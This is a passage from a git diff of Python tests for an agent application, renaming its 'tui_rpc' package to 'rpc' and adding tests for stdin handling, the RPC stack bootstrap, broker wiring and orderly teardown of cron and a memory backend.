os.fdopen(read_fd, "rb")) + loop = asyncio.get_running_loop() + + async def _refuse(factory, pipe): + raise ValueError("Pipe transport is for pipes/sockets only") + + monkeypatch.setattr(loop, "connect_read_pipe", _refuse) + + async with acp_commands._open_stdin() as reader: + os.write(write_fd, b"line\n") + assert await asyncio.wait_for(reader.readline(), timeout=5.0) == b"line\n" + + thread = next((t for t in threading.enumerate() if t.name == "acp-stdin"), None) + assert thread is not None and thread.daemon, "a non-daemon feeder blocks interpreter exit" + os.close(write_fd) + + async def test_a_text_mode_stdin_is_encoded_rather_than_refused(self, monkeypatch): + """An embedded interpreter can hand over a stdin with no ``buffer`` at + all, whose reads return ``str``. Feeding that to a ``StreamReader`` + raises, so it is encoded here instead.""" + loop = asyncio.get_running_loop() + + async def _refuse(factory, pipe): + raise ValueError("not a pipe") + + class _TextStdin: + def __init__(self): + self._left = ["hello\n", ""] + + def read(self, _n): + return self._left.pop(0) + + monkeypatch.setattr(loop, "connect_read_pipe", _refuse) + monkeypatch.setattr(sys, "stdin", _TextStdin()) + + async with acp_commands._open_stdin() as reader: + assert await asyncio.wait_for(reader.readline(), timeout=5.0) == b"hello\n" + + async def test_a_read_failure_is_reported_as_end_of_input(self, monkeypatch): + """A truncated session and a finished one look identical to the frame + loop, so the loop has to end rather than wait -- and the reason has to be + somewhere.""" + loop = asyncio.get_running_loop() + + async def _refuse(factory, pipe): + raise ValueError("not a pipe") + + class _Angry: + def read(self, _n): + raise OSError("device gone") + + monkeypatch.setattr(loop, "connect_read_pipe", _refuse) + monkeypatch.setattr(sys, "stdin", _Angry()) + + async with acp_commands._open_stdin() as reader: + assert await asyncio.wait_for(reader.read(), timeout=5.0) == b"" + + +class TestCallback: + def test_it_serves_when_no_subcommand_was_given(self, monkeypatch): + served = [] + + async def _fake_serve() -> None: + served.append(True) + + monkeypatch.setattr(acp_commands, "_serve", _fake_serve) + + acp_commands.acp(SimpleNamespace(invoked_subcommand=None)) + + assert served == [True] + + def test_a_crash_is_reported_briefly_rather_than_as_a_rich_traceback(self, monkeypatch): + """Typer's own handler renders a rich traceback with ``show_locals`` on -- + measured at 228 lines of stderr carrying the value of every local in every + frame, on the stream an ACP client displays. The full traceback goes to + the log file, where the sink is configured not to annotate it.""" + + async def _explode() -> None: + raise RuntimeError("engine failed") + + monkeypatch.setattr(acp_commands, "_serve", _explode) + + with pytest.raises(typer.Exit) as caught: + acp_commands.acp(SimpleNamespace(invoked_subcommand=None)) + + assert caught.value.exit_code == 1 + + def test_it_defers_to_a_subcommand(self, monkeypatch): + """``acp`` is a Typer group, so a future ``raven acp `` must + not also start the server.""" + + async def _must_not_run() -> None: + raise AssertionError("serving despite an explicit subcommand") + + monkeypatch.setattr(acp_commands, "_serve", _must_not_run) + + with contextlib.suppress(RuntimeWarning): + acp_commands.acp(SimpleNamespace(invoked_subcommand="future-subcommand")) diff --git a/tests/test_cli_gateway_commands.py b/tests/test_cli_gateway_commands.py index 880781d9..815eeb88 100644 --- a/tests/test_cli_gateway_commands.py +++ b/tests/test_cli_gateway_commands.py @@ -361,7 +361,7 @@ async def test_question_for_a_dead_conversation_is_reported_not_swallowed() -> N """Swallowing the drop left the broker waiting out its whole budget on a question nobody would ever see.""" from raven.cli.gateway_commands import _deliver_question_to_channel - from raven.tui_rpc.question_broker import QuestionUndeliverableError + from raven.rpc.question_broker import QuestionUndeliverableError with pytest.raises(QuestionUndeliverableError): await _deliver_question_to_channel({"params": {"conversation_id": "gone"}}, sources={}, hub=None) diff --git a/tests/test_cli_onboard_commands.py b/tests/test_cli_onboard_commands.py index 993dbc4b..ce3d44f9 100644 --- a/tests/test_cli_onboard_commands.py +++ b/tests/test_cli_onboard_commands.py @@ -4150,7 +4150,7 @@ def test_the_model_picker_reports_the_same_credential_shape_as_the_wizard() -> N re-deriving it. """ from raven.providers.registry import CRED_ENDPOINT, CRED_LOCAL, PROVIDERS, credential_kind - from raven.tui_rpc.methods.model import _build_provider_entry + from raven.rpc.methods.model import _build_provider_entry for spec in PROVIDERS: entry = _build_provider_entry(spec.name, current_provider=None) diff --git a/tests/test_cli_smoke.py b/tests/test_cli_smoke.py index 65a881f7..b312b849 100644 --- a/tests/test_cli_smoke.py +++ b/tests/test_cli_smoke.py @@ -167,6 +167,7 @@ def test_cron_list_body_does_not_crash(tmp_config: Path) -> None: # Full set of top-level commands + subcommand groups registered on the root # app (superset of TOP_LEVEL_COMMANDS, which only lists the --help-probed ones). REGISTERED_COMMAND_NAMES = { + "acp", "agent", "channels", "cron", diff --git a/tests/test_cli_tui_bootstrap.py b/tests/test_cli_tui_bootstrap.py index 2e796a5e..05ceaa9a 100644 --- a/tests/test_cli_tui_bootstrap.py +++ b/tests/test_cli_tui_bootstrap.py @@ -403,12 +403,12 @@ def test_production_dispatcher_includes_all_umbrella_methods(): registered by the production path. Future additions to the umbrella automatically extend this test. """ - from raven.tui_rpc.dispatcher import Dispatcher - from raven.tui_rpc.methods import ( + from raven.rpc.dispatcher import Dispatcher + from raven.rpc.methods import ( register_aligned_methods, register_aligned_methods_except_system, ) - from raven.tui_rpc.methods.system import ( + from raven.rpc.methods.system import ( system_hello, system_ping, system_version, @@ -444,9 +444,9 @@ def test_confirm_registered_when_broker_present(): (mirrors the emitter/turn gate). Without a broker neither the umbrella nor the production path registers it, so the drift test above stays balanced. """ - from raven.tui_rpc.confirm_broker import ConfirmBroker - from raven.tui_rpc.dispatcher import Dispatcher - from raven.tui_rpc.methods import register_aligned_methods_except_system + from raven.rpc.confirm_broker import ConfirmBroker + from raven.rpc.dispatcher import Dispatcher + from raven.rpc.methods import register_aligned_methods_except_system async def _send(_frame): return None diff --git a/tests/test_cli_tui_commands.py b/tests/test_cli_tui_commands.py index bb464412..0a52c6f4 100644 --- a/tests/test_cli_tui_commands.py +++ b/tests/test_cli_tui_commands.py @@ -263,7 +263,7 @@ async def stop(self): # without a real socket transport. fake_dispatcher = MagicMock() fake_dispatcher.register = MagicMock() - monkeypatch.setattr("raven.tui_rpc.dispatcher.Dispatcher", lambda: fake_dispatcher) + monkeypatch.setattr("raven.rpc.dispatcher.Dispatcher", lambda: fake_dispatcher) async def _fake_serve_forever(): await asyncio.sleep(0) @@ -272,49 +272,49 @@ async def _fake_serve_forever(): fake_server.send_frame = AsyncMock() fake_server.serve_forever = _fake_serve_forever monkeypatch.setattr( - "raven.tui_rpc.server.RpcServer", + "raven.rpc.server.RpcServer", lambda **kw: fake_server, ) fake_emitter = MagicMock() monkeypatch.setattr( - "raven.tui_rpc.subscriptions.SubscriptionEmitter", + "raven.rpc.subscriptions.SubscriptionEmitter", lambda **kw: fake_emitter, ) # Load the lazily imported module before patching its attributes; otherwise # this fixture can depend on test order through Python's import cache. - from raven.tui_rpc.methods import system as _system_module + from raven.rpc.methods import system as _system_module assert _system_module is not None fake_confirm_broker = MagicMock() fake_confirm_broker.cancel_all = MagicMock() monkeypatch.setattr( - "raven.tui_rpc.confirm_broker.ConfirmBroker", + "raven.rpc.confirm_broker.ConfirmBroker", lambda **kw: fake_confirm_broker, ) fake_approval_broker = MagicMock() fake_approval_broker.cancel_all = MagicMock() monkeypatch.setattr( - "raven.tui_rpc.approval_broker.ApprovalBroker", + "raven.rpc.approval_broker.ApprovalBroker", lambda **kw: fake_approval_broker, ) fake_question_broker = MagicMock() monkeypatch.setattr( - "raven.tui_rpc.question_broker.QuestionBroker", + "raven.rpc.question_broker.QuestionBroker", lambda **kw: fake_question_broker, ) async def _fake_system_hello(params): return {"version": "0.0.0"} - monkeypatch.setattr("raven.tui_rpc.methods.system.system_hello", _fake_system_hello) - monkeypatch.setattr("raven.tui_rpc.methods.system.system_ping", AsyncMock()) - monkeypatch.setattr("raven.tui_rpc.methods.system.system_version", AsyncMock()) + monkeypatch.setattr("raven.rpc.methods.system.system_hello", _fake_system_hello) + monkeypatch.setattr("raven.rpc.methods.system.system_ping", AsyncMock()) + monkeypatch.setattr("raven.rpc.methods.system.system_version", AsyncMock()) monkeypatch.setattr( - "raven.tui_rpc.methods.register_aligned_methods_except_system", + "raven.rpc.methods.register_aligned_methods_except_system", MagicMock(), ) @@ -326,10 +326,10 @@ async def _fake_turn_teardown(): pass fake_build_tui = MagicMock(return_value=(fake_turn_scheduler, fake_turn_hub, fake_turn_ids, _fake_turn_teardown)) - monkeypatch.setattr("raven.tui_rpc.spine.build_tui", fake_build_tui) + monkeypatch.setattr("raven.rpc.spine.build_tui", fake_build_tui) monkeypatch.setattr("raven.cli._cron_handler.make_on_cron_job", MagicMock()) - monkeypatch.setattr("raven.tui_rpc.methods.turn.clear_active", MagicMock()) + monkeypatch.setattr("raven.rpc.methods.turn.clear_active", MagicMock()) ctx["fake_server"] = fake_server ctx["fake_confirm_broker"] = fake_confirm_broker @@ -396,7 +396,7 @@ async def test_rpc_runner_wires_and_cancels_approval_broker(rpc_server_deps, mon approval_broker = rpc_server_deps["fake_approval_broker"] assert rpc_server_deps["fake_build_tui"].call_args.kwargs["approval_responder"] is approval_broker - registration = __import__("raven.tui_rpc.methods", fromlist=["register"]) + registration = __import__("raven.rpc.methods", fromlist=["register"]) register_mock = registration.register_aligned_methods_except_system assert register_mock.call_args.kwargs["approval_broker"] is approval_broker approval_broker.cancel_all.assert_called_once_with() diff --git a/tests/test_filesystem_write_modes.py b/tests/test_filesystem_write_modes.py index 8d257bd9..a81d2760 100644 --- a/tests/test_filesystem_write_modes.py +++ b/tests/test_filesystem_write_modes.py @@ -135,3 +135,26 @@ def test_the_truncation_hint_does_not_assume_the_file_is_empty() -> None: assert "the first with mode=overwrite" not in hint, "an unconditional restart" assert "mode=overwrite to start a file" in hint, "the fresh-file case is named as a choice" assert "mode=append to continue one you have already begun" in hint, "and so is the other" + + +def test_a_rewrite_too_large_to_render_carries_no_diff(tmp_path) -> None: + """Dropped whole rather than truncated. Half a diff reads as a smaller change + than the one that happened, which is worse than no diff at all -- and the + structured change beside it still carries the whole file both ways, so + nothing is actually lost to a client that can use it. + """ + import asyncio + + from raven.agent.tools.filesystem import WriteFileTool + + target = tmp_path / "big.txt" + target.write_text("\n".join(f"old {i}" for i in range(500)), encoding="utf-8") + tool = WriteFileTool(workspace=tmp_path) + + result = asyncio.run( + tool.execute(path=str(target), content="\n".join(f"new {i}" for i in range(500)), mode="overwrite") + ) + + assert result.diff is None, "a diff this large is dropped, not cut in half" + assert result.file_change is not None and result.file_change.before is not None + assert result.file_change.after.startswith("new 0") diff --git a/tests/test_provider_auth_method.py b/tests/test_provider_auth_method.py index 4f7a8caa..9f4e43ed 100644 --- a/tests/test_provider_auth_method.py +++ b/tests/test_provider_auth_method.py @@ -478,8 +478,8 @@ def test_only_the_auth_module_decides_configuredness_from_a_key() -> None: "raven/providers/endpoints.py", "raven/cli/provider_commands.py", "raven/cli/status_commands.py", - "raven/tui_rpc/methods/model.py", - "raven/tui_rpc/methods/setup.py", + "raven/rpc/methods/model.py", + "raven/rpc/methods/setup.py", "raven/providers/azure_openai_provider.py", "raven/providers/base.py", "raven/providers/minimax_oauth_provider.py", diff --git a/tests/test_provider_resolution_invariants.py b/tests/test_provider_resolution_invariants.py index 337b0a18..db53cfb5 100644 --- a/tests/test_provider_resolution_invariants.py +++ b/tests/test_provider_resolution_invariants.py @@ -743,7 +743,7 @@ def test_no_surface_writes_the_default_model_without_naming_its_provider(): Scanned rather than asserted per call site, because the next writer is the one nobody thought of -- and **both spellings count**. An earlier version looked only for ``set_default_model`` and was therefore blind to - ``tui_rpc/methods/config.py``, which writes the same field through + ``rpc/methods/config.py``, which writes the same field through ``_set_nested`` and happens to be correct. """ import ast diff --git a/tests/test_provider_wire_model.py b/tests/test_provider_wire_model.py index 5e5246e4..82d649e9 100644 --- a/tests/test_provider_wire_model.py +++ b/tests/test_provider_wire_model.py @@ -205,7 +205,7 @@ def test_both_write_paths_store_the_same_id(spec: ProviderSpec) -> None: the list twice. """ from raven.cli.onboard_commands import _format_model_for_provider - from raven.tui_rpc.methods.model import _stored_spelling + from raven.rpc.methods.model import _stored_spelling assert _stored_spelling(spec.name, PLAIN) == _format_model_for_provider(spec.name, spec, PLAIN) diff --git a/tests/test_question_broker.py b/tests/test_question_broker.py index 7f432db5..55c68028 100644 --- a/tests/test_question_broker.py +++ b/tests/test_question_broker.py @@ -9,8 +9,8 @@ import asyncio -from raven.tui_rpc.methods.question import question_respond, register_question_methods -from raven.tui_rpc.question_broker import QuestionBroker, QuestionUndeliverableError +from raven.rpc.methods.question import question_respond, register_question_methods +from raven.rpc.question_broker import QuestionBroker, QuestionUndeliverableError CID = "telegram:123" @@ -174,7 +174,7 @@ async def test_question_respond_handler_unknown_returns_not_ok() -> None: async def test_register_question_methods_adds_respond() -> None: - from raven.tui_rpc.dispatcher import Dispatcher + from raven.rpc.dispatcher import Dispatcher _frames, send_frame = _frame_collector() broker = QuestionBroker(send_frame) diff --git a/tests/test_read_file_image.py b/tests/test_read_file_image.py index 18ef62d3..6c07cc73 100644 --- a/tests/test_read_file_image.py +++ b/tests/test_read_file_image.py @@ -1975,7 +1975,7 @@ def test_turn_send_refuses_an_unbounded_attachment_list() -> None: tokens, so the schema is where an absurd one is refused.""" import pydantic - from raven.tui_rpc.models import TurnSendParams + from raven.rpc.models import TurnSendParams ok = TurnSendParams(session_key="cli:local", content="hi", media=["a.png"] * 64) assert len(ok.media) == 64 diff --git a/tests/test_tui_rpc_approval.py b/tests/test_rpc_approval.py similarity index 89% rename from tests/test_tui_rpc_approval.py rename to tests/test_rpc_approval.py index fdfa75d8..7a34d402 100644 --- a/tests/test_tui_rpc_approval.py +++ b/tests/test_rpc_approval.py @@ -2,9 +2,9 @@ import asyncio -from raven.tui_rpc.approval_broker import ApprovalBroker -from raven.tui_rpc.dispatcher import Dispatcher -from raven.tui_rpc.methods.approval import approval_respond, register_approval_methods +from raven.rpc.approval_broker import ApprovalBroker +from raven.rpc.dispatcher import Dispatcher +from raven.rpc.methods.approval import approval_respond, register_approval_methods async def test_approval_respond_resolves_matching_request() -> None: diff --git a/tests/test_rpc_bootstrap.py b/tests/test_rpc_bootstrap.py new file mode 100644 index 00000000..2dbe9560 --- /dev/null +++ b/tests/test_rpc_bootstrap.py @@ -0,0 +1,647 @@ +"""``build_rpc_stack``: the engine assembly a non-socket transport reuses. + +Three things are pinned, and they fail for different reasons. + +**The lifecycle is whole.** The assembly starts cron, binds the subagent submit +and the question broker, and its teardown stops what it started. A hook left +unbound is not an error anywhere -- the turn simply never reaches the surface +that was supposed to render it. + +**The channel reaches both collaborators.** One name has two consumers, and +giving it to one of them is worse than giving it to neither: the turn runs, +produces output, and delivers it to a channel with no outlet. + +**The build error is latched, not raised.** A bad provider config has to let the +client connect and be told, rather than failing the connection. +""" + +from __future__ import annotations + +import asyncio +import inspect +import threading + +from raven.rpc import bootstrap +from raven.rpc.subscriptions import COALESCE_WINDOW_S + + +class _FakeCron: + def __init__(self) -> None: + self.on_job = None + self.started = False + self.stopped = False + self.last_startup_drops: list = [] + + async def start(self) -> None: + self.started = True + + def stop(self) -> None: + self.stopped = True + + +class _FakeSubagents: + def __init__(self) -> None: + self.submit = None + + def set_submit(self, fn) -> None: + self.submit = fn + + +class _FakeBackend: + def __init__(self, *, start_raises: bool = False, stop_raises: bool = False) -> None: + self.started = False + self.stopped = False + self._start_raises = start_raises + self._stop_raises = stop_raises + + async def start(self) -> None: + if self._start_raises: + raise RuntimeError("everos would not come up") + self.started = True + + async def stop(self) -> None: + if self._stop_raises: + raise RuntimeError("index lock stuck") + self.stopped = True + + +class _GatedBackend(_FakeBackend): + """A backend whose ``start`` parks until released, so a test can hold the + stack in the state a client closing mid-boot puts it in.""" + + def __init__(self) -> None: + super().__init__() + self.gate = asyncio.Event() + self.entered = asyncio.Event() + self.events: list[str] = [] + + async def start(self) -> None: + self.events.append("start-enter") + self.entered.set() + await self.gate.wait() + self.events.append("start-finish") + self.started = True + + async def stop(self) -> None: + self.events.append("stop") + self.stopped = True + + +class _ThreadStartBackend(_FakeBackend): + """A backend whose ``start`` crosses a worker thread, as EverOS's does. + + ``_GatedBackend`` above parks on an ``asyncio.Event`` and so cooperates with + cancellation -- which is exactly why it cannot cover this: the production + path is ``await asyncio.to_thread(_start_server_if_unlocked)``, and + cancelling the task leaves that thread running. The side effect here stands + in for what the real worker does after the point of no return: write the + config, spawn the server, write its pidfile. + """ + + def __init__(self) -> None: + super().__init__() + self.gate = threading.Event() + self.entered = threading.Event() + self.events: list[str] = [] + + def _spawn(self) -> None: + self.events.append("thread-enter") + self.entered.set() + # Bounded so a failing test cannot hang the suite. + self.gate.wait(10) + self.events.append("thread-side-effect") + + async def start(self) -> None: + await asyncio.to_thread(self._spawn) + self.started = True + + async def stop(self) -> None: + self.events.append("stop") + self.stopped = True + + +class _FakeTools(dict): + """A tool registry thin enough for the assembly, plus the one attribute the + session handlers read back through the factory.""" + + tool_names: list[str] = [] + + +class _FakeSkills: + def list_skills(self, **_kwargs) -> list: + return [] + + +class _FakeContext: + def __init__(self) -> None: + self.skills = _FakeSkills() + + +class _FakeLoop: + """The AgentLoop surface build_rpc_stack touches, each hook recorded. + + It also carries the little the session handlers read once they have reached + the loop THROUGH the factory: without it the handler fails on the fake + before the factory's return value has been proved to be this object, and the + test would assert nothing about the closure it exists to check. + """ + + def __init__(self, cron: _FakeCron | None = None, backend: _FakeBackend | None = None) -> None: + self.tools = _FakeTools() + self.context = _FakeContext() + self.subagents = _FakeSubagents() + self.cron_service = cron + self.backend = backend + self.deep_research_broker = None + self.drained = False + + async def drain_backend_stores(self) -> None: + self.drained = True + + def set_deep_research_broker(self, broker) -> None: + self.deep_research_broker = broker + + +class _FakeAskTool: + def __init__(self) -> None: + self.broker = None + + def set_broker(self, broker) -> None: + self.broker = broker + + +async def _sink(_frame: dict) -> None: + pass + + +async def test_the_stack_owns_the_whole_lifecycle(monkeypatch) -> None: + from raven.cli import tui_commands + + cron = _FakeCron() + loop = _FakeLoop(cron) + monkeypatch.setattr(tui_commands, "_build_tui_agent_loop", lambda: loop) + + stack = await bootstrap.build_rpc_stack(_sink) + + assert stack.agent_loop is loop + assert loop.subagents.submit is not None, "a subagent result turn has nowhere to run without this" + assert cron.started is True + assert cron.on_job is not None, "on_job must be bound before start, or a job firing at once has no callback" + + await stack.teardown() + assert cron.stopped is True + + +async def test_the_question_broker_reaches_the_tools_that_ask(monkeypatch) -> None: + """Both bindings are late: the broker exists before the tool registry does. + deep_research is bound through the loop rather than through the tool so a + tool built later by a mid-session enable inherits it too.""" + from raven.cli import tui_commands + + loop = _FakeLoop() + ask = _FakeAskTool() + loop.tools["ask_user"] = ask + monkeypatch.setattr(tui_commands, "_build_tui_agent_loop", lambda: loop) + + stack = await bootstrap.build_rpc_stack(_sink) + try: + assert ask.broker is stack.question_broker + assert loop.deep_research_broker is stack.question_broker + finally: + await stack.teardown() + + +async def test_a_build_error_is_latched_and_raised_on_first_use(monkeypatch) -> None: + """A bad provider config must not fail the connection: the client still + connects, and the error surfaces when it asks for a turn -- which is what + lets the surface show what is wrong instead of just closing.""" + from raven.cli import tui_commands + from raven.rpc.errors import RpcError + + boom = RpcError(-32603, "provider config is broken") + + def _raise(): + raise boom + + monkeypatch.setattr(tui_commands, "_build_tui_agent_loop", _raise) + + stack = await bootstrap.build_rpc_stack(_sink) + try: + assert stack.agent_loop is None + assert stack.build_error is boom + assert stack.dispatcher.methods(), "the client must still be able to call something" + finally: + await stack.teardown() + + +async def test_the_channel_reaches_both_collaborators_or_nothing_is_delivered(monkeypatch) -> None: + """One name, two consumers, and getting one of them wrong loses every turn. + + ``build_tui`` registers its delivery outlet under the channel name, and + ``register_turn_methods`` stamps it on every turn ``turn.send`` submits as + ``source.channel``. The hub routes a deliverable by that name, so a channel + argument reaching only one of them is worse than none: the turn runs, + produces output, and delivers it to a channel with no outlet, with nothing + anywhere reporting a problem. + """ + from raven.cli import tui_commands + from raven.rpc import methods as methods_module + from raven.rpc import spine as spine_module + + seen: dict[str, object] = {} + real_spine = spine_module.build_tui + + def _spy_spine(agent_loop, emitter, *, channel="tui", **kwargs): + seen["outlet_channel"] = channel + return real_spine(agent_loop, emitter, channel=channel, **kwargs) + + # Patched on the umbrella and not on ``methods.turn``: the umbrella imported + # the function into its own namespace at import time, so a patch on the + # defining module is never consulted -- and the test would pass while + # asserting nothing. + real_register = methods_module.register_turn_methods + + def _spy_register(dispatcher, *, default_channel="tui", **kwargs): + seen["turn_channel"] = default_channel + return real_register(dispatcher, default_channel=default_channel, **kwargs) + + monkeypatch.setattr(spine_module, "build_tui", _spy_spine) + monkeypatch.setattr(methods_module, "register_turn_methods", _spy_register) + monkeypatch.setattr(tui_commands, "_build_tui_agent_loop", lambda: _FakeLoop()) + + stack = await bootstrap.build_rpc_stack(_sink, channel="acp") + try: + assert seen["outlet_channel"] == "acp" + assert seen["turn_channel"] == "acp", "an outlet on 'acp' fed by turns stamped 'tui' delivers nothing" + finally: + await stack.teardown() + + +async def test_the_channel_defaults_to_the_one_both_sides_already_used() -> None: + """Every existing caller passes no channel, so the default has to be the + value the two sides independently defaulted to before it was a parameter.""" + from raven.rpc.methods.turn import register_turn_methods + from raven.rpc.spine import build_tui + + assert inspect.signature(build_tui).parameters["channel"].default == "tui" + assert inspect.signature(register_turn_methods).parameters["default_channel"].default == "tui" + assert inspect.signature(bootstrap.build_rpc_stack).parameters["channel"].default == "tui" + + +async def test_an_overridden_responder_does_not_remove_the_local_broker(monkeypatch) -> None: + """Only the transport is replaced. ``approval.respond`` is registered from + the locally built broker, and a caller that answers approvals its own way is + not necessarily removing that method from the dispatcher.""" + from raven.cli import tui_commands + from raven.rpc import spine as spine_module + + seen: dict[str, object] = {} + real_spine = spine_module.build_tui + + def _spy_spine(agent_loop, emitter, *, approval_responder=None, **kwargs): + seen["responder"] = approval_responder + return real_spine(agent_loop, emitter, approval_responder=approval_responder, **kwargs) + + monkeypatch.setattr(spine_module, "build_tui", _spy_spine) + monkeypatch.setattr(tui_commands, "_build_tui_agent_loop", lambda: _FakeLoop()) + + responder = object() + stack = await bootstrap.build_rpc_stack(_sink, approval_responder=responder) + try: + assert seen["responder"] is responder + assert "approval.respond" in stack.dispatcher.methods() + finally: + await stack.teardown() + + +async def test_the_memory_backend_starts_off_the_critical_path(monkeypatch) -> None: + """Bringing the backend up can take tens of seconds and may spawn a server, + so it is backgrounded: a client's first render must not wait on the memory + path. Backgrounded means the assertion has to yield first -- asserting right + after the call would pass whether or not the task was ever created.""" + from raven.cli import tui_commands + + backend = _FakeBackend() + loop = _FakeLoop(backend=backend) + monkeypatch.setattr(tui_commands, "_build_tui_agent_loop", lambda: loop) + + stack = await bootstrap.build_rpc_stack(_sink) + try: + assert backend.started is False, "the assembly must not block on the backend" + await asyncio.sleep(0) + await asyncio.sleep(0) + assert backend.started is True + finally: + await stack.teardown() + + +async def test_a_backend_that_will_not_start_leaves_the_stack_usable(monkeypatch) -> None: + """A degraded memory path is not a dead connection: the client is already + attached by then, and the alternative is an unhandled exception in a + background task that nothing retrieves.""" + from raven.cli import tui_commands + + loop = _FakeLoop(backend=_FakeBackend(start_raises=True)) + monkeypatch.setattr(tui_commands, "_build_tui_agent_loop", lambda: loop) + + stack = await bootstrap.build_rpc_stack(_sink) + try: + await asyncio.sleep(0) + await asyncio.sleep(0) + assert stack.agent_loop is loop + finally: + await stack.teardown() + + +async def test_teardown_drains_before_it_stops_the_backend(monkeypatch) -> None: + """Stopping without draining loses whatever the last turn wrote and had not + persisted; the stop is what releases the embedded index lock the next + process needs, so both have to happen and in this order.""" + from raven.cli import tui_commands + + backend = _FakeBackend() + loop = _FakeLoop(backend=backend) + monkeypatch.setattr(tui_commands, "_build_tui_agent_loop", lambda: loop) + + stack = await bootstrap.build_rpc_stack(_sink) + await stack.teardown() + + assert loop.drained is True + assert backend.stopped is True + + +async def test_teardown_finishes_even_when_every_step_fails(monkeypatch) -> None: + """Teardown runs while something has already gone wrong. Each step is + guarded on its own so a failure in one does not skip the rest: the index + lock has to be released even if cron stop raised, or the next process cannot + start at all. + """ + from raven.cli import tui_commands + from raven.rpc import spine as spine_module + + class _AngryCron(_FakeCron): + def stop(self) -> None: + raise RuntimeError("cron will not stop") + + backend = _FakeBackend(stop_raises=True) + loop = _FakeLoop(_AngryCron(), backend=backend) + monkeypatch.setattr(tui_commands, "_build_tui_agent_loop", lambda: loop) + + real_spine = spine_module.build_tui + + def _spy_spine(agent_loop, emitter, **kwargs): + scheduler, hub, turn_ids, _teardown = real_spine(agent_loop, emitter, **kwargs) + + async def _angry_teardown() -> None: + await _teardown() + raise RuntimeError("spine will not tear down") + + return scheduler, hub, turn_ids, _angry_teardown + + monkeypatch.setattr(spine_module, "build_tui", _spy_spine) + + stack = await bootstrap.build_rpc_stack(_sink) + await stack.teardown() # must not raise + + assert loop.drained is True, "the drain has to be reached past two failures above it" + + +async def test_reminders_dropped_at_startup_reach_the_first_subscription(monkeypatch) -> None: + """``start()`` drops past-due one-shot reminders, and whoever starts cron + owns telling someone. This runs before any client has subscribed, so the + assertion is that the notice survives that gap and reaches the first + subscription -- not merely that a call was made.""" + from raven.cli import tui_commands + from raven.proactive_engine.schedulers.cron.types import CronStartupDrop + + class _DroppingCron(_FakeCron): + async def start(self) -> None: + await super().start() + self.last_startup_drops = [CronStartupDrop(name="pills", message="take the pills", at_ms=1749024000000)] + + loop = _FakeLoop(_DroppingCron()) + monkeypatch.setattr(tui_commands, "_build_tui_agent_loop", lambda: loop) + + frames: list[dict] = [] + + async def _record(frame: dict) -> None: + frames.append(frame) + + stack = await bootstrap.build_rpc_stack(_record) + try: + assert [f for f in frames if f.get("method") == "event"] == [] + await stack.emitter.register("tui:default") + await asyncio.sleep(COALESCE_WINDOW_S * 3) + finally: + await stack.teardown() + + events = [f["params"]["event"] for f in frames if f.get("method") == "event"] + assert [e["type"] for e in events] == ["cron.missed"] + assert events[0]["payload"]["count"] == 1 + assert events[0]["payload"]["items"][0]["name"] == "pills" + + +async def test_the_factory_hands_out_the_loop_and_re_raises_a_latched_error(monkeypatch) -> None: + """The factory is how a handler reaches the engine, and it is the only place + a latched build error is ever raised. Driven through a registered method + rather than called directly, because that is the path that exists.""" + from raven.cli import tui_commands + from raven.rpc.errors import RpcError + + loop = _FakeLoop() + monkeypatch.setattr(tui_commands, "_build_tui_agent_loop", lambda: loop) + stack = await bootstrap.build_rpc_stack(_sink) + try: + result = await stack.dispatcher.dispatch({"jsonrpc": "2.0", "id": 1, "method": "session.create", "params": {}}) + assert "error" not in result, result + finally: + await stack.teardown() + + def _raise(): + raise RpcError(-32603, "provider config is broken") + + monkeypatch.setattr(tui_commands, "_build_tui_agent_loop", _raise) + broken = await bootstrap.build_rpc_stack(_sink) + try: + # session.* guards the factory call and degrades rather than failing, so + # what this pins is that the raise is reached at all: the handler still + # answers, and the error is not silently swallowed at build time. + result = await broken.dispatcher.dispatch({"jsonrpc": "2.0", "id": 2, "method": "session.create", "params": {}}) + assert result.get("id") == 2 + assert broken.build_error is not None + finally: + await broken.teardown() + + +async def test_a_builder_that_returns_nothing_is_not_an_error(monkeypatch) -> None: + """The third state, distinct from both a loop and a latched error: no engine + and nothing to blame. The handlers degrade to their no-loop bundle, which is + the documented behaviour of a zero-factory call, so the factory returns None + rather than inventing an error to raise.""" + from raven.cli import tui_commands + + monkeypatch.setattr(tui_commands, "_build_tui_agent_loop", lambda: None) + + stack = await bootstrap.build_rpc_stack(_sink) + try: + assert stack.agent_loop is None + assert stack.build_error is None + result = await stack.dispatcher.dispatch({"jsonrpc": "2.0", "id": 3, "method": "session.create", "params": {}}) + assert "error" not in result, result + assert result["result"]["session_id"].startswith("tui:") + finally: + await stack.teardown() + + +async def test_teardown_settles_a_start_still_in_flight_before_it_stops(monkeypatch) -> None: + """A client can connect and close while EverOS is still coming up. The start + task was fire-and-forget, so teardown drained, stopped and returned with + start still inside ``backend.start()`` -- the service outliving the stack + that reported itself closed, and holding the index lock the next process + needs. Teardown now waits for the start it finds in flight, so a stop is + always a stop of something that finished starting.""" + from raven.cli import tui_commands + + backend = _GatedBackend() + loop = _FakeLoop(backend=backend) + monkeypatch.setattr(tui_commands, "_build_tui_agent_loop", lambda: loop) + + stack = await bootstrap.build_rpc_stack(_sink) + await asyncio.wait_for(backend.entered.wait(), timeout=5) + + teardown = asyncio.create_task(stack.teardown()) + await asyncio.sleep(0) + await asyncio.sleep(0) + assert not teardown.done(), "teardown must not stop a backend that is still starting" + + backend.gate.set() + await asyncio.wait_for(teardown, timeout=5) + + assert backend.events == ["start-enter", "start-finish", "stop"], backend.events + assert loop.drained is True + assert backend.stopped is True + + +async def test_teardown_releases_a_pending_question(monkeypatch) -> None: + """The third broker on the same transport. An ask raised outside an active + Spine turn is not cancelled by the turn teardown, so before this it survived + the disconnect and stayed alive until the broker's own default timeout -- + ten minutes of a wait nobody can answer, because the client is gone.""" + from raven.cli import tui_commands + + loop = _FakeLoop() + monkeypatch.setattr(tui_commands, "_build_tui_agent_loop", lambda: loop) + + stack = await bootstrap.build_rpc_stack(_sink) + waiting = asyncio.create_task( + stack.question_broker.await_question( + "session-a", + prompt="keep going?", + default="no", + timeout_s=600, + ) + ) + await asyncio.sleep(0) + await asyncio.sleep(0) + + await stack.teardown() + await asyncio.sleep(0) + + # Done, not merely answerable: ``await_question`` returns its default on + # cancellation too, so waiting on the task would report success even when + # nothing released it -- the cancellation would do the releasing. + assert waiting.done(), "teardown must release the wait, not leave it to its own timeout" + assert waiting.result() == "no", "a released wait fails safe to its default" + + +async def test_teardown_waits_for_the_part_of_start_it_cannot_interrupt(monkeypatch) -> None: + """Cancelling settles the task, not the thread. + + ``EverosBackend.start`` awaits ``asyncio.to_thread(_start_server_if_unlocked)``, + and cancelling an asyncio task does 